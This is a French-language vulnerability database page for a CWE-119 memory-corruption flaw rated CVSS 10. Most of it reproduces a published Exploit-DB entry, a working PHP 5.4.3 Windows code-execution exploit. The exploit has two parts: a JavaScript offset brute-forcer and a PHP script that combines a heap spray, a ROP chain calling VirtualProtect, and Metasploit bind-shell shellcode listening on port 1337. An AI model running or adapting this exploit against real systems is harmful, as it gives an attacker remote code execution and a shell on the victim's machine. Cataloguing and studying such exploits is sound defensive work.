Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 18861
Date de publication : 2012-05-10 22:00 +00:00
Auteur : 0in
EDB Vérifié : Yes
// Exploit Title: PHP 5.4 (5.4.3) Code Execution 0day (Win32)
// Exploit author: 0in (Maksymilian Motyl)
// Email: 0in(dot)email(at)gmail.com
// * Bug with Variant type parsing originally discovered by Condis
// Tested on Windows XP SP3 fully patched (Polish)
===================
offset-brute.html
===================
<html><body>
<title>0day</title>
<center>
<font size=7>PHP 5.4.3 0day by 0in & cOndis</font><br>
<textarea rows=50 cols=50 id="log"></textarea>
</center>
<script>
function sleep(milliseconds) {
var start = new Date().getTime();
for (var i = 0; i < 1e7; i++) {
if ((new Date().getTime() - start) > milliseconds){
break;
}
}
}
function makeRequest(url, parameters)
{
var xmlhttp = new XMLHttpRequest();
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
if (xmlhttp.overrideMimeType) {
xmlhttp.overrideMimeType('text/xml');
}
} else if (window.ActiveXObject) {
// IE
try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e) {
try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
catch (e) {}
}
}
if (!xmlhttp) {
alert('Giving up :( Cannot create an XMLHTTP instance');
return false;
}
xmlhttp.open("GET",url,true);
xmlhttp.send(null);
return true;
}
test=document.getElementById("log");
for(offset=0;offset<300;offset++)
{
log.value+="Trying offset:"+offset+"\r\n";
makeRequest("0day.php?offset="+offset);
sleep(500);
}
</script></body></html>
===================
0day.php
===================
<?php
$spray = str_repeat("\x90",0x200);
$offset=$_GET['offset'];
// 775DF0Da # ADD ESP,10 # RETN ** [ole32.dll]
$spray = substr_replace($spray, "\xda\xf0\x5d\x77", (strlen($spray))*-1,(strlen($spray))*-1);
// :> 0x048d0030
$spray = substr_replace($spray, pack("L",0x048d0030+$offset), (strlen($spray)-0x8)*-1,(strlen($spray))*-1);
//0x7752ae9f (RVA : 0x0005ae7f) : # XCHG EAX,ESP # MOV ECX,468B0000 # OR AL,3 # RETN [ole32.dll]
$spray = substr_replace($spray, "\x9f\xae\x52\x77", (strlen($spray)-0x10)*-1,(strlen($spray))*-1);
// Adress of VirtualProtect 0x7c801ad4
$spray = substr_replace($spray, "\xd4\x1a\x80\x7c", (strlen($spray)-0x14)*-1,(strlen($spray))*-1);
// LPVOID lpAddress = 0x048d0060
$spray = substr_replace($spray, pack("L",0x048d0060+$offset), (strlen($spray)-0x1c)*-1,(strlen($spray))*-1);
// SIZE_T dwSize = 0x01000000
$spray = substr_replace($spray, "\x00\x00\x10\x00", (strlen($spray)-0x20)*-1,(strlen($spray))*-1);
// DWORD flNewProtect = PAGE_EXECUTE_READWRITE (0x00000040) | 0xffffffc0
$spray = substr_replace($spray, "\x40\x00\x00\x00", (strlen($spray)-0x24)*-1,(strlen($spray))*-1);
// __out PDWORD lpflOldProtect = 0x04300070 | 0x105240000
// 0x048d0068
$spray = substr_replace($spray, pack("L",0x048d0068+$offset), (strlen($spray)-0x28)*-1,(strlen($spray))*-1);
//0x77dfe8b4 : # XOR EAX,EAX # ADD ESP,18 # INC EAX # POP EBP # RETN 0C ** [ADVAPI32.dll]
$spray = substr_replace($spray, "\xb4\xe8\xdf\x77", (strlen($spray)-0x18)*-1,4);
// Ret Address = 0x048d0080
$spray = substr_replace($spray, pack("L",0x048d0080+$offset), (strlen($spray)-0x48)*-1,4);
$stacktrack = "\xbc\x0c\xb0\xc0\x00";
// Universal win32 bindshell on port 1337 from metasploit
$shellcode = $stacktrack."\x33\xc9\x83\xe9\xb0".
"\x81\xc4\xd0\xfd\xff\xff".
"\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1d".
"\xcc\x32\x69\x83\xeb\xfc\xe2\xf4\xe1\xa6\xd9\x24\xf5\x35\xcd\x96".
"\xe2\xac\xb9\x05\x39\xe8\xb9\x2c\x21\x47\x4e\x6c\x65\xcd\xdd\xe2".
"\x52\xd4\xb9\x36\x3d\xcd\xd9\x20\x96\xf8\xb9\x68\xf3\xfd\xf2\xf0".
"\xb1\x48\xf2\x1d\x1a\x0d\xf8\x64\x1c\x0e\xd9\x9d\x26\x98\x16\x41".
"\x68\x29\xb9\x36\x39\xcd\xd9\x0f\x96\xc0\x79\xe2\x42\xd0\x33\x82".
"\x1e\xe0\xb9\xe0\x71\xe8\x2e\x08\xde\xfd\xe9\x0d\x96\x8f\x02\xe2".
"\x5d\xc0\xb9\x19\x01\x61\xb9\x29\x15\x92\x5a\xe7\x53\xc2\xde\x39".
"\xe2\x1a\x54\x3a\x7b\xa4\x01\x5b\x75\xbb\x41\x5b\x42\x98\xcd\xb9".
"\x75\x07\xdf\x95\x26\x9c\xcd\xbf\x42\x45\xd7\x0f\x9c\x21\x3a\x6b".
"\x48\xa6\x30\x96\xcd\xa4\xeb\x60\xe8\x61\x65\x96\xcb\x9f\x61\x3a".
"\x4e\x9f\x71\x3a\x5e\x9f\xcd\xb9\x7b\xa4\x37\x50\x7b\x9f\xbb\x88".
"\x88\xa4\x96\x73\x6d\x0b\x65\x96\xcb\xa6\x22\x38\x48\x33\xe2\x01".
"\xb9\x61\x1c\x80\x4a\x33\xe4\x3a\x48\x33\xe2\x01\xf8\x85\xb4\x20".
"\x4a\x33\xe4\x39\x49\x98\x67\x96\xcd\x5f\x5a\x8e\x64\x0a\x4b\x3e".
"\xe2\x1a\x67\x96\xcd\xaa\x58\x0d\x7b\xa4\x51\x04\x94\x29\x58\x39".
"\x44\xe5\xfe\xe0\xfa\xa6\x76\xe0\xff\xfd\xf2\x9a\xb7\x32\x70\x44".
"\xe3\x8e\x1e\xfa\x90\xb6\x0a\xc2\xb6\x67\x5a\x1b\xe3\x7f\x24\x96".
"\x68\x88\xcd\xbf\x46\x9b\x60\x38\x4c\x9d\x58\x68\x4c\x9d\x67\x38".
"\xe2\x1c\x5a\xc4\xc4\xc9\xfc\x3a\xe2\x1a\x58\x96\xe2\xfb\xcd\xb9".
"\x96\x9b\xce\xea\xd9\xa8\xcd\xbf\x4f\x33\xe2\x01\xf2\x02\xd2\x09".
"\x4e\x33\xe4\x96\xcd\xcc\x32\x69";
$spray = substr_replace($spray,$shellcode, (strlen($spray)-0x50)*-1,(strlen($shellcode)));
$fullspray="";
for($i=0;$i<0x4b00;$i++)
{
$fullspray.=$spray;
}
$j=array();
$e=array();
$b=array();
$a=array();
$c=array();
array_push($j,$fullspray);
array_push($e,$fullspray."W");
array_push($b,$fullspray."A");
array_push($a,$fullspray."S");
array_push($c,$fullspray."!");
$vVar = new VARIANT(0x048d0038+$offset);
// Shoot him
com_print_typeinfo($vVar); //CRASH -> 102F3986 FF50 10 CALL DWORD PTR DS:[EAX+10]
echo $arr;
echo $spray;
?>
Products Mentioned
Configuraton 0
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References